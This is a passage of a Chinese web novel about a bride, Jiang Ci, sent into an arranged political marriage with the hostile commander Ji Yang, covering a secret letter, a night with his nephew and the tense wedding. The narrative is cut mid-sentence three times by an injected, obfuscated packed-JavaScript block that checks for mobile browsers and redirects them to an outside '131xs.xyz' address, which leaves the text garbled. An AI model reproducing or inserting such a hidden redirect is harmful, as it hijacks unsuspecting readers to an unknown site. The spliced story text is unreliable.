道士拂尘一卷,端起几分正色,眼神在姜辞面上一转,拈须而笑:“这位便是姜家姑娘?气度不俗,面有藏锋,是个福重之人。”
姜辞微微颔首,温声道:“有劳道长。”
道士请她写下生辰,婆子呈上纸笔。姜辞接过时下意识藏住烫伤处,袖口掩得妥帖,不动声色地落笔。
她字写得端劲遒美,藏锋含骨。道士看了一眼,点头称赞:“字如其人,收敛而不失骨气。”
姜辞礼貌一笑,轻声道:“蒙夸。”
道士将纸展平,指间捏诀,口中念念有词,眉头轻拧片刻,旋即舒展而开,眼中浮现喜意:
“巧了——三日后,乃癸卯年三月廿八,天德、月恩并临,正合宜室宜家之象。”
“且此日金木合局,辰土扶身,主主婚和顺、百年安稳。更难得的是,命中相冲处,彼此能解,是一种误入为缘,祸转为福之象。”
姬夫人听得连连点头,抚掌笑道:“那就再好不过了。”
她当即唤来婆子吩咐:“传话下去,大婚三日后行礼,府中各处,今起整备,不得怠慢。”
那婆子应声,转而又问道:“那是否先告知二公子?”
姬夫人摆摆手:“这事就这么定了,到时候叫他回来成婚即可。”婆子点点头而去。
姬夫人又回头看向姜辞,语气温婉:“一切虽急了些,但你放心,这桩婚事,是正经的,排场、礼数,必不会叫你受委屈。”
姜辞眼中微动,低声应道:“多谢夫人厚爱。”
姬夫人忽然转头吩咐道:“阿辞,去我书房里帮我取一样东西,柜子上头有个檀木匣子,我记得放在那里。”
她正与道长继续商谈婚期细节,语气淡淡,显然并不欲让旁人听见。
姜辞轻轻应了声,起身离开内室,循着熟悉的方向走向姬夫人的书房。
书房在西偏院,窗牖敞开,光线透入,空气中还残着些旧木与墨香。
她推门而入,屋内静谧无声,案几上摊着几卷未收的兵书和一封信。
她正要径直去取柜上的匣子,却在不经意的一瞥间,瞥见那封信露出的半行字迹。
是父亲的笔迹。
那是她从小看到大的笔风,瘦硬中带骨力,结字之间,藏着熟悉的风骨。
姜辞脚步一顿,站在桌前,指尖悬在那页信纸上方,迟迟未落。
她知道——私看他人信件,是大忌,尤其在这东阳侯府中,一举一动皆牵丝攀藤。
可那是父亲写给姬夫人的信。
她终究还是伸出了手,将那封信自书页下轻轻抽出。
信纸展开,熟悉的墨香扑面而来。
入目第一行,便是:故人姜怀策,叩请汀州安好。
姜辞怔住,手指紧了紧,忍不住继续读下去:
“三十年前,怀策曾见夫人与亡妻沈氏并肩而行,春风执扇,同席轻笑,诗札往来,时人称凉汀双璧。旧事清雅,不敢忘怀。
昔年之事,怀策有愧难言。彼时战局胶着,少主西凉为质,怀策奉命看守,亦曾暗中设法相助,故而少主方得一线脱身,安返汀州。
然为敌营中人,身负将职,明不能护,言不能劝,所能者,唯以病疏假象,夜中引哨,使其脱围而去。此举险而不宣,怀策知之,自知为幸。
今凉州危局将至,边军不敌,前有姬阳大军逼境,后有北庭虎视眈眈,怀策势难支。无奈之下,送女阿辞入汀州,以和亲求一线缓局。此举虽辱,实为保城之计。
若夫人尚念旧时交谊,念沈氏之亡魂,思昔年一面之情。
若夫人未忘往昔所为,尚记怀策暗助逃生之举
则愿借此一筹,请夫人一言相助。
凉州若终不可守,惟愿我女阿辞,得保性命周全。
阿辞天性沉静,才识尚可,不乞怜、不求宠,愿为王事所用,惟求不作弃子。
怀策年过半百,凉州若破,便是赴死之时。
此信所求,不过愿留姜氏一线血脉,一息归途。
若能如此,怀策虽死,无憾矣。
姜怀策拜启。”
她猛然意识到自己失了分寸,急忙将信重新折起,手指一抖,纸页竟有些合不拢,她只得用力一按
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361260|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,将其重新压回原位。
呼吸微乱。
她站在原地,闭了闭眼,深吸一口气,强迫自己将情绪压进胸口最深处。
片刻后,她才恢复如常,转身取下柜上的檀木匣子,袖口一拢,步伐稳当地走出书房。
她缓步回到正堂,姬夫人与道士还在说话,见她进来,便抬了抬手,笑问:“找到了?”
姜辞轻轻颔首,将檀木匣子双手奉上:“已寻到。”
姬夫人接过匣子,笑着点头:“麻烦你了,阿辞。”
姜辞回以一礼,声音温柔含分寸:“不敢。”
她微侧身,目光淡淡扫过厅内,再不多看半分,便带着银霜退至门口,福身告辞。
“夫人,那我便先行告退了。”
姬夫人回头一笑,目送她离开,未多挽留。
院外微风轻拂,帘幔微响,姜辞的身影渐渐隐入回廊深处。
夜已深。
姜辞刚拆了发,墨发如绸泻落,褪下外衣,洗去一身风尘,整个人都显得清寂而疲惫。
铜镜前灯火微弱,晚娘替她拧干帕子放好,银霜则在一旁收拾盥洗用具,屋内只余水声轻响与烛影微摇。
就在这时——
“咚、咚。”
一阵轻轻的敲门声从院外传来,节奏温柔,像怕惊扰了什么。
银霜动作一顿,与晚娘对视一眼,小声嘀咕:“这时候……还能是谁?总不会是都督吧。”
姜辞正在理发,闻言轻笑一声,语气淡淡,带着几分自嘲:
“他看我就像看条毒蛇。”
“放心,不会是他。”
她微抬下巴,示意银霜去开门。
银霜披了件衣服走出去,轻轻拉开门扇,夜风扑面而来,带着一丝微凉。
门外站着一个半大小子,光着脚,抱着被子,乌发乱翘,眼睛却一眨不眨地望着她。
“姜姐姐在吗?”他声音软软的,透着刚哭过的鼻音。
“我……我做噩梦了,我想娘亲……”
他低头踢了踢脚尖,小声又补了一句:“我想和姜姐姐一起睡,可以吗?我保证不会乱动。”
银霜愣了两息,转头看向屋内的姜辞,眼神微妙地飘了一下。
姜辞怔了一下,手里正拢着发,她没说话,眉眼之间却缓缓化开了一层从未有过的情绪。
她没等孩子开口第二遍,已起身披衣,走至门边。
隔着门廊灯火,她低头看着那双尚未定型的少年眉眼,温声问道:
“做了什么梦?”
“梦见我爹没醒过来,祖母也不要我了。”他说得轻,眼圈却红了。
姜辞蹲下身,替他理了理凌乱的头发,语气很轻轻:“别怕。”
“姐姐今夜陪你睡。”
银霜说道:“姐姐?这不是差辈了,我家姑娘将来是你二伯的夫人。”
姜辞却轻轻抬手,打断她:
“他还不到十岁,无妨。”
语气温缓却不容置疑。
她说完这句,便俯身牵过姬云梵的小手,那孩子手心还带着些潮热,指节轻轻握紧她的,带着小孩子特有的依赖与信任。
姜辞回头看了银霜一眼,微一颔首,便领着他一步一步走向床榻。
烛影晃动间,那一高一矮的身影投在帐子上。
几乎与此同时,另一边的前院,夜色浓重。
姬阳方才自外归府,身上仍带着未散尽的寒气,正跨过影壁,便见竹娘领着两名下人匆匆奔来,脚步凌乱,神色焦急。
竹娘一眼瞧见姬阳,仿佛见到救命之人,忙迎上前,一边福身一边语急:
“都督,小少主不见了!”
姬阳眉头一拧,目光瞬间一冷:“不见了?”
“奴婢只是出去打了一盆水,走前看他睡得安稳,没点蜡也没留人守着。谁知才一盏茶功夫回来,人影都没了!”
“屋里冷,奴婢原想给他换张薄被……”
她越说越慌,声音发颤,额上都是细汗:“后院下人我都问遍了,都说没见。奴婢……奴婢该死!”
姬阳脸色沉下,衣摆一振,杀气顿起。
他转身,眼神如箭般扫向内院方向,语气克制却咬着寒意:“找。”
“整个东阳侯府,挨处找。”
“翻了这府也要把他找出来。”
4. 第 4 章
夜色已深,东廊灯火未歇。
姬阳负手立于廊下,夜风拂起他玄色披风的衣角,一众侍卫分立两侧,个个不敢出声。
“府内寻遍了吗?”他问。
一个婢子前来回话,她低着头立于一旁,轻轻点头:“东院、西偏、书斋、藏阁……皆未见。”
姬阳神情更冷一分,目光犀利:“池边、后园、暗井都查过?”
一名亲兵立即应声:“是,属下亲自查过,未发现少主踪迹。”
竹娘跪在一侧,已是惊慌失措:“都督,奴婢、奴婢该死,请都督处罚我。”
姬阳未理她,只低声道:
“此事暂且莫惊动母亲。”
“若叫她知道了,今晚别想安生。”
他眼神一转,语气一顿:“姜辞的院子……查过没有?”
众人皆是一怔。
竹娘沉吟半息:“她那里……不太可能吧。”
姬阳眯起眼,冷声一笑:“不太可能?谁知道姜家人来到丰都安的什么心。”
语毕,他衣袍一振,大步转身:
“走,亲自过去看看。”
而此时,东侧内院。
姜辞穿着寝衣,倚靠在床榻上,发未完全束起,一缕垂在耳边,被夜风吹得微微摆动。
床榻上,姬云梵已抱着她给的小枕,缩在榻角,眼睛半睁半闭,睫毛扑闪。
姜辞一手覆在他额头轻轻抚着,声音低缓如夜间的炉火:
“……后来,小将军就把那只掉队的小鹿送回了山里,再也没让人打扰它。”
姬云梵咕哝一声,手里的被角揪了揪,终于彻底沉入梦乡。
他呼吸绵长,面颊带着一点孩童才有的柔软和天真。
银霜坐在外间,压低声音道:“姑娘,他睡着了。”
姜辞轻轻“嗯”了一声,垂眼看着怀中那熟睡的孩子,眼中浮起一点淡淡的情绪。
就在这时——
“砰。”
院门被人猛然推开,一声怒喝落下:
“姜辞。”
银霜猛地起身,脸色骤变:“是都督!”
屋门被他一脚踹开,撞得门扇重响,姬阳大步入内,玄袍扫地,气势逼人。
姜辞被吓得朝他望去,姬阳束发高绾,他立于门口,整个人仿佛从战场中刚刚归来,煞气未收。
夜色顺着门扉倾泻而入,将他整个人映得沉如寒铁。
他的目光像刀,迅速掠过室内,最终落定于床榻之上。
榻上红烛尚燃,帷帐半垂,一男一女共处一床,只隔着一道小小的抱枕。
姬云梵睡得极沉,脸颊埋在姜辞的手边,呼吸均匀。
而姜辞,已经抬眸看向他,神色恢复淡定,眼含微凉。
她坐直身子,语气平平道:“他梦中惊醒,寻我投宿。”
“我拦不住。”
此时刚睡着的姬云梵因为姬阳的动静也醒了过来,他揉了揉眼睛做起身来,糯糯喊了一句:“二伯……”
姬阳立在榻前,黑影投在地上,沉如铁幕。
他眼神森冷,死死盯着姜辞,唇角勾起一抹近乎嘲弄的弧度,声音低沉压着怒意:
“你才来府中两日,竟能哄得我那侄子与你如此亲近。”
“姜辞,你安的什么心?”
“你真当我不知?”
语气一寸寸逼近,每一个字都像是裹着寒霜。
而他话音刚落,脑海中却轰然掀起了回忆。
那年他为质的第二个冬天。
西凉军营,大雪漫天。他被关在辎重营后,身上只穿着一件破了口的旧襦,脚底赤裸,冻得发青。
那日有人扔下一只馒头,在他面前滚了一圈。
他当时饿得眼前发黑,正欲伸手去捡,却被人一脚踢飞,笑声哄然。
“啧,堂堂东阳姬家子,也不过如此。”
“狗都不如,连馒头都得抢。”
他们围着他,嘴里骂着“贱种”“孽子”,一个人端着米汤走来,居高临下地望着他,将整碗汤水一倾而下,污浊的汤汁从头顶泼下,顺着脖颈一路流入衣襟。
冰冷彻骨,屈辱入骨。
而他那时抬眼望去,不远处的营台上,站着一身戎装的西凉将领。
姜怀策。
他居高临下看着,没有动,没有阻止,甚至连眉头都未皱一下。
姬阳那年不过十四岁,被西凉人抓到送入营中。
三年。
他吃过牲口盆里的残渣,被绑在树下淋一夜的雨,被迫跪在旌旗下听人辱骂姬家祖宗十八代。
夜里,他蜷在马圈角落,冻得四肢僵直,眼神却从未熄灭。
他知道,只要活着,总有一日他会回来。
会以仇人之血洗他所受的一切耻辱。
而此刻,眼前的姜辞,眉眼间竟有几分姜怀策的影子,那种在寒风中站得笔直、目光清明的神色,仿佛再一次将他钉回那个肮脏而狼狈的冬夜。
姬阳手握剑柄,指节微颤。
他胸膛起伏,眼神几乎化作实质的锋刃,恨不得就此拔剑,将她一剑刺死。
将她挂在城门之上,暴晒三日,以解旧恨。
可他的剑,终究没有拔出。
姬阳站定于榻前,俯身一把捏住姜辞的脖子,眸色漆黑,浑身气势如冰川压顶,他喉咙滚动,咬牙切齿地低声道:
“你们姜家,一个都不干净。”
他的力道不轻,姜辞呼吸一窒,脸色瞬间泛白。
银霜惊呼一声正要冲上来,却被他身上的煞气逼得僵在原地,不敢妄动。
就在这剑拔弩张之际,榻上的姬云梵随即猛地爬起来,一把扑上来推开姬阳那只掐着人的手。
“你干什么!”他一脸不悦地张开双臂,从榻上下来,挡在姜辞身前,小小的身子绷得笔直。
“是我做噩梦,是我想娘亲,是我自己要来找姜姐姐一起睡觉的!”他仰着头,语气里带着小大人的责备,“二伯你能不能不要这么凶?”
姬阳低头盯着那张和自己大哥几分相似的稚气脸庞,咬牙道:
“你到底是姓姬,还是姓姜?她不过是个外人,你年纪小,看不清,她只会迷惑人心。”
“她不是你娘亲。”
可姬云梵却一点不怕,皱着鼻子扭头看向姜辞,认真地说:
“姜姐姐,二伯太凶了,你不要嫁给他。”
“你嫁给我爹吧。”
那稚声稚气的一句话,在夜里格外清晰。
“我爹脾气可好了,他总是笑,还会给我讲故事,从来不这么吼人。”
此话一出,空气仿佛瞬间凝结。
姬阳的脸色霎时间难看至极,唇线紧绷,眼神一沉,猛地上前,一把将姬云梵提了起来,像拎只猫似的夹在腋下。
“你跟我走。”他语气冷硬,“再不走,你回头被人卖了还要替人数银子。”
姬云梵被拎着,手脚乱动,小脸涨红,眼圈一红,忽然放声大哭。
“二伯你坏!我要跟姜姐姐一起睡!她身上香香的,和我娘亲很像……我想娘亲……”
他忽然哭了起来,姬阳脚步一顿,神情微微僵住,他的手还拎着姬云梵,却没有再迈步。
他想起那一年,兄长姬栩病倒在床,寻了许多大夫接连束手,连夜下了重判。
姬云梵那年才三岁,没有母亲,是姬夫人将他一手带大。
姬阳低头看了看那哭成一团的姬云梵,手渐渐松了些,却没说话。
良久,他只冷冷丢下一句:
“今晚随你,明日起不许再踏入她院门一步。”
他将孩子放回姜辞面前,冷着脸转身离去。
帘幔微动,夜风吹过,姜辞低头看着已扑进她怀中的姬云梵,哭得抽噎不止,紧紧攥着她的袖子不放。
她伸手轻轻拍了拍他背,声音温柔如水:
“没事了,姐姐在这。”
姬阳走出姜辞的院子后,停住半晌,他没好气的吐出一句:
“真会挑时候……驯人心。”
夜更深了。
竹娘快步跑来,在院外止住脚步,声音压得极低却带着急切:
“都督,可是找到小少主了?”
姬阳从廊下阴影中转身,他点了点头,语气平稳:
“找到了。”
“他在姜辞那儿,睡得很好,一切无事。”
竹娘顿时松了口气,微微佝偻的身子这才舒展开来。
姬阳又道:“你回去禀告兄长,就说阿梵今晚在我这儿借宿。明日一早,便送他回去。”
竹娘连连应是,退下前又小心翼翼看了姬阳一眼,见他神情未动,这才脚步轻快地离去。
姬阳立于原地片刻,望着前方灯火,一语不发。
片刻后,他转身,遣散了还未退下的巡夜士兵,命人休息,一人折回内宅,独自前往府中祠堂。
夜色沉沉,烛火微弱,祠堂内香烟袅袅,姬阳一身甲衣未卸,他立在父亲灵位前,久久未语。
他又想起了那年,西凉营帐,大雪纷飞的夜晚。
他跪在湿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361261|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冷的泥地中,脚上戴着粗重的铁镣,手腕早已勒出血痕。
那夜不知是何人偷偷解开了他脚上的镣铐,他来不及多想,咬牙抢下一匹马,撞破营墙,纵马狂奔。
身后箭如雨下,一支穿透肩头,他强忍剧痛,死死撑着才未晕厥,勒紧马缰趁夜雪掩踪,一路向东。
他几乎是九死一生回到的丰都。
却只见长街之上,白幡飘飘,万人送丧,父亲的棺椁缓缓前行,钟鼓悲鸣,锣声震天。
他跪倒在人群中,眼前模糊一片。
母亲站在送丧队伍前方,仿佛一夜老了十年。
兄长姬栩那时还身健体强,见他归来,失声痛哭,扑上前一把将他抱住,语不成声。
“子溯……你活着回来了……我们以为你……”
他跪在地上,对着父亲的棺椁磕头,磕得额上渗出血来。
风声飒飒,他低声说:
“孩儿……回来了。”
送葬的队伍在他身侧前行,姬阳没有说话,只默默上前,接过那人的位置,肩膀一沉。
他站在队伍最前,咬紧牙关,硬生生将整副棺木扛稳,走在雪地之中,步履不乱,一步未歪。
祠堂里烛火跳了一下。
姬阳缓缓抬起头,望着父亲的灵牌,眼中没有泪,只有深不见底的沉沉夜色。
他低声道:
“孩儿还在走那条路……只是这一次,背上的,不止是棺。”
“是姬家和未来的天下,我一定会完成父亲的心愿,让这版图全部都插满姬家的旗。”
姬阳语调平淡,说完这句,他伸手将香插正,直起身,缓缓退后一步,俯身,重重一拜。
翌日天光微亮,朝霞尚未尽染。
姜辞早早起身,替姬云梵理好衣襟,又唤银霜端来温水替他洗漱。小少主虽年仅八岁,却已懂礼数,举止间颇有几分小大人的模样。
“我爹最不喜欢人衣裳不整。”他对姜辞说。
姜辞忍不住笑了笑,牵起他的小手,领着他往西侧而去。
那是姬家大公子姬栩的院落。
院中遍植翠竹,细雨初停,竹叶尚滴着未干的露水。小径石板缝中长着细苔,几丛修竹随风摇曳,冷香幽远。
走到廊下,姬云梵忽然回头,抬眼看她,眼里带着几分期盼,又似担心她拒绝:
“姜姐姐,要不你进来见见我爹吧?”
姜辞原本想婉拒,可看着那双干净亮澈的小眼睛,她终究还是点了点头。
“好。”
姬云梵欢快地提着袍角先一步跑进屋内。
姜辞缓缓踏上阶石,刚至门口,便听见屋内传来一道温润低缓的男声:
“阿梵,你又跑去打扰你二伯了吗?”
声音不急不缓,含着笑意,带着清晨才起床的慵懒沙哑,却温润极了。
片刻后,一道修长身影自内室缓步走出。
他约莫而立之年,身形颀长,面容如玉,鬓发略乱,还未来得及束冠,只以素带松松挽起。面上带着些晨起未退的倦意,眉目温雅,却藏着一抹长病之后的清瘦之气。
皮肤极白,透着一层不易察觉的病态苍白,但眼神极清,是那种一眼看去便令人安心的神色。
他一眼望见姜辞,脚步微顿。
微不可察的一瞬,他的目光仿佛被什么惊了一下,凝在她脸上。
这一眼不是轻浮,不是炽热,而是带着几分欣赏。
姜辞心下一紧,连忙盈盈一礼:“见过大公子。”
姬栩也回过神来,收敛情绪,微一颔首,还了一礼:“姑娘不必多礼。”他声音温和,唇角微弯。
姜辞本想告辞离开,刚要背身退下,身后却传来他轻缓的话声:
“是紫川来的姜姑娘吧?昨日方才得知母亲接人入府,未曾亲迎,是我之失。”
姜辞一时有些意外,旋即轻声道:“大公子言重了。”
“冒昧前来,还望勿怪。”
他摇头一笑:“阿梵顽劣多言,姑娘愿照拂他一二,倒是我该谢你才是。”
姜辞一时竟不知如何接话,只得侧身站定,眼帘微垂,神色澄净如水。
而那一刻,她忽然明白,这姬家,有人如姬阳,是寒锋铁壁,也有人如姬栩,是清风朗月。
正当屋内氛围安静,晨光映在竹影之中,姬栩与姜辞初见的寒暄尚未落定,站在一旁的姬云梵忽然一蹦一跳地跑上前,仰头看着父亲,童音清亮地来了一句:
“爹爹,我看二伯对姜姐姐凶得狠,要不你把她娶了吧!”
5. 第 5 章
话音刚落,院内一静。
两个人仿佛都被这句话瞬间冻住。
银霜和姜辞脸色同时一变,姜辞更是一时愣在原地,连福身都忘了收回。
她只觉耳畔“嗡”地一声,姬栩也是一怔,眼神在亲儿子与眼前这位未来的弟媳之间流转片刻。
他微微一笑,语气轻柔,带着一点无奈的宠溺:“胡说什么呢。”
“姜姑娘是你二伯未来的夫人,也是你以后的二娘,岂容你胡乱拿来玩笑?”
说着,他伸手摸了摸姬云梵的头,语气温和却极稳,像是要给他讲些道理:“世间婚事,不是你一句娶了吧就能定的。”
“若真有一日你要说这种话,那也得学会先问问人家女子愿不愿意。”
姜辞垂着眼睫,听得这话,心中微动。
她看了看面前这个小孩子,心里忽然有些想笑,又说不清到底是在笑他,还是在笑自己。
只是笑意未显,眼角却泛出一点潮意,谁又问过她是否愿意呢。
她轻轻福身,声音平和而疏淡:
“阿梵童言无忌,大公子莫要怪他。”
姬栩看着她的神色,眼底闪过一丝深意,但终究没有多言,只温声道:
“无妨,也请姑娘勿放在心上。”
“他年纪尚小,话不经意。”
姜辞微笑点头:“我懂。”她与二人告别,带着银霜离开姬栩院中。
一路行来,银霜一语不发,姜辞也未出声,直到走出廊下,风吹得她鬓发微起,她才像是忽然回过神来般,轻声道:
“适才那话……当真让人难堪。”
银霜也松了口气,附和道:“那孩子虽是无心,却叫人措手不及,不过没想到大公子性格到时极好相处,奴婢瞧着比都督好多了。”
姜辞抿唇,没再多言。
回到院中,她换下外袍,坐在榻边,她忽然开口问道:“姬家大公子……得的是什么病?为何病了这么多年,也不见痊愈?”
晚娘正在摆茶,闻言一顿,放下茶盏低声道:
“听府上的人说,具体是什么病也无人能断准。”
“前几年姬夫人确实遍请名医,东阳本地的大夫都来过了,但最后也都摇头离去。”
“说他五脏虚火上行,舌焦口燥,夜不能寐,还常年心悸、气血翻涌……试过温补、试过清热,试过针灸、汤药,皆不见。”
姜辞微蹙眉头:“那为何不请懂毒者来一试?”
晚娘低声一叹:“姑娘说得虽是理,但这世道乱了,许多良医早死,要么找地儿归隐,还有歹人当道,能医者和会医者,本就是两码事。”
“府中也不是没人想到以毒攻毒的法子,可真正能用毒而不伤命者,世间寥寥无几。”
“况且,那位大公子是姬家嫡长,谁敢轻试?”
姜辞微微点头,垂眸思忖。
伏火毒,灼而不烈,沉而不爆,确实不像寻常虚损,若一味温补清凉,只会扰乱经脉。
她目光沉下去。
夜深人静。
案上孤灯如豆,姜辞披着一袭素衣,独坐书案前,窗外风过竹影,烛火微晃。
她提笔蘸墨,铺开信纸,她写道:
“父亲,辞一切安好,切莫忧心。”
“今日初见大公子,观其面色浮白、舌焦脉乱,气息似有伏火之症。府中请过诸医,皆未得法。辞斗胆以己所学相度,此症或非虚损,而是内毒之郁。愿父亲助辞一臂之力,将昔日在紫川所藏医术典籍、药经草方,尽数抄录寄来。若有先祖旧藏方本、秘方残卷,亦请一并附上。”
写到此处,她顿了一瞬,抬眸望向窗外的月色,眼神微动,唇角缓缓牵出一抹思乡的浅意。
姜辞从十三岁起,便跟着府中老大夫一道走过街巷,救治流民、登记名册、处置伤疮。
瘟疫肆起时,她亦曾亲赴水井边为百姓烧汤熬药,亲手抄写病理药方。
她落下最后一笔:
“辞知此行有险,然若有一法可救人,我愿一试。”
她放下笔,轻轻吹干墨迹,将信折好封入信封,命银霜明日一早交由驿使送回凉州。
灯火照在她脸上,暖黄微晃,墨香未散,身影浅浅落在墙上,显得很孤独。
明日,便是她与姬阳的大婚之日。
一场筹谋已定,由不得她回头的大婚。
她本该沉稳,可此刻心中,却偏偏涌起一丝说不清的悸动与不安。
天未破晓,府中灯火已起。
正厅西序张起红绡绸缎,珠帘玉络沿檐而垂,东厢南苑皆换喜色装饰,礼官早已入位,内院仆从奔走,各司其职。
巳正三刻,迎亲之鼓鸣。
乐工备礼,大鼓三响,钟磬齐鸣,礼官开口唱礼,一应仪制一丝不差。
府中女眷皆盛装而出,姬夫人亲自主持内宅事宜,召见诸姬家亲戚宾客,正厅迎候文官武将、朝中宾友。
喜乐未起,心弦先紧。
姜辞早已起身,坐于镜前由晚娘梳妆。
银霜为她细细描眉,晚娘则亲自替她拢起嫁衣外袖,每一寸丝缎都熨贴得不带折痕。
“姑娘,你今日……真好看。”
银霜眼眶有些红,像是要说什么,终究忍住了。
姜辞望着铜镜中那位眉眼如画的新妇,一时恍然,仿佛这不是她,是被谁送入风雪命运中的另一个她,脸上没有一丝喜色。
倘若没有盟约,想必穿着喜服嫁的人,就是璟郎。
她轻声道:“走吧。”
喜鼓再响三声,内院门扉缓缓而开。
晚娘执红绸一端,银霜扶衣而侧。
姜辞缓缓起身,神色无波,身后吉服曳地,一寸寸踏过内院的石阶檐下。
院内钟磬已歇,宾客齐聚,红烛高燃,香烟袅袅。
礼官已唱至“新妇登堂”,眼见良辰将至,却迟迟不见新郎现身。
厅外,鼓声再次敲响。
喜帷两侧,晚娘牵着姜辞缓缓步入主厅前,她面前执着一柄织金纨扇,遮住面容。
主位上,姬阳应立之处空空如也。
姬夫人本坐于女眷侧位,见此情形,神色一滞,低声问身边婢女:“子溯呢?”
那婢女俯首凑近,声音压得极低:“回夫人,今晨卯时后便未再见都督踪影。奴婢已让人去找了……”
姬夫人脸色骤变,眉心深蹙,沉声道:“怎可在大婚之日做出此等事来?”
而厅中宾客虽未敢高声言语,却也早已交头接耳,私语纷纷。
“这都督……怕是故意晾着她吧?”
“新妇都到堂了,人还没到,呵,听说这姜家姑娘是凉州刺史之女?”
“不错,她父亲姜怀策,可是西凉旧部。”
“如今将当年敌将之女娶入门,如何能咽得下这口气?”
“唉,这婚啊,未必是喜事,怕是将她娶回来,只为一纸盟约而已。”
“都督若不愿,何不当初便拒,如今这般……是折人颜面了。”
这些言语虽压低了声,终究没逃过姜辞的耳朵。
她执扇的手不动,心却一寸寸收紧,耳中声声刺骨,皆是将她当众贬损的议论,她却没有抬头,没有退半步。
厅内红烛燃得极旺,礼乐早已停歇,宾客皆坐得腰背酸痛,却无人敢出声离席。
姜辞仍立于厅前的红毯之上,一动未动,从巳时三刻,到午正将近,已过去了整整半个时辰。
没有新郎,没有传令,礼官早已汗湿后背,几次想上前,却都被姬夫人一个眼神拦下。
姜辞站得笔直,仪容如画,姿态无一丝凌乱。
女眷席中,有人摇扇低语:“她还站着呢……都督这是有意折她。”
“你说那姜辞,还能撑到几时?”
而此时,府外五里处的督军署内。
姬阳身着玄袍甲衣,斜倚坐在主位之上,神情冷淡,指节轻叩木几,茶香氤氲,宛若无事人。
陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361262|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
临川低声提醒道:“主公,吉时已过半。再不回去,只怕……”
姬阳端起茶盏,神色淡淡,不紧不慢地饮了一口,唇角轻扬出一抹冷笑:
“急什么?”
“叫她再等等。”
“她姜辞,不就是上赶着要嫁我的么?”
“我成全她,已是天大的恩赐。”
他说完这话,才慢条斯理放下茶盏,起身整衣,吩咐人牵马。
“走罢。”
而在东阳侯府大堂。
鼓声骤然再起,众人齐齐抬头,只见姬阳身着玄袍吉服,自府门缓步而入。
宾客纷纷起身行礼:“见过都督。”无人敢说恭喜。
姬阳只是淡淡抬手示意,神色冷淡如霜,眼尾未掠人群半分。
等他停于姜辞身侧,偏头看她一眼,那一眼,冷得像从瀚北草原吹来的寒风,不带喜意,不带温度,甚至……近乎不屑。
姜辞始终执扇而立,头微垂,纨扇遮面,看不清神色。
礼官只得强自镇定,拱手高声唱礼:
“吉时既至——新妇入堂。”
姜辞微一点头,在晚娘引领下,缓缓踏上阶前石级,步态沉稳,裙裾曳地无声。
姬阳并未扶她,仅抬步相随,登阶而上,立于姜辞一侧,宛若旁观者,不置一语。
礼官继续唱礼:
“合卺之礼,共饮交心之酒。”
一名侍婢端来半瓠斜剖之杯,金盏映火,各半成双。
姬阳目不斜视,举盏饮下,就是想是完成任务一般随意。
姜辞接过卺杯,稍顿一息,也举盏而饮,神色没比姬阳好到哪里去。
众人侧目,只觉这合卺如仪,也都颇为尴尬,却也不敢说些什么。
礼官复唱:
“新婚之礼,瞻视新妇。”
此为东阳礼中一道旧仪,意在正眼看妻,表纳为室人之意。
姬阳缓缓转首,面无表情地看了姜辞一眼,目光淡淡而过,竟无半分停留,便已收回视线。
像是瞻视,又像是……蔑视。
姜辞感受到那视线划过,也是懒得搭理他一分。
礼官见此,心头暗惊,只得继续唱礼,声音微弱:
“拜君亲——”
此为代行高堂礼,拜列祖宗法位。
姜辞缓缓俯身,却在将跪未跪之际,由于久站,膝盖顿了一下,忽听耳侧一声冷语:
“怎么?”
“姜家之女……跪不动我姬家祖宗?”
众宾目光齐刷刷落在姜辞身上,连姬夫人都神色骤变。
姜辞手执纨扇,身形微顿,纤腰挺拔,忽而轻声笑了笑,唇角似抿出一丝讥意。
她未抬头,只小声应了一句:
“都督不也来得迟了些?”
礼官愣在那里,不知是否还该继续唱礼,姜辞才缓缓跪下,深深一拜。
洞房之夜,红烛高照,喜幔低垂。
姜辞被婢女送入新房,银霜与晚娘规规矩矩地奉上盏盏甜汤与香点。她依旧执着那柄纨扇,未饮一口,只静静坐在红榻一侧,目光落于窗格外头的月影上。
脚步声响起。
姬阳身着吉服而入,脚步沉稳,步入房中却无半分喜意,反倒杀气逼人。
姜辞闻声微抬眼,仍执扇未动,唇角挂着一点虚无的笑意,仿若是对他的冷淡早有预料。
姬阳走近她身前,居高临下地看了她一眼,忽地伸手一把夺过她手中的扇子。
“都督……”她语气平和,眼神却清冽如秋水。
“演够了吗?”他冷冷道。
下一瞬,他腰间长剑出鞘,剑锋已横在她脖颈之前,红烛映出银芒,落在她如玉般的颈侧。
姬阳低头靠近她,声音如霜刀般冷冽,字字刺骨:“你我之婚,不过是缓兵之计。”
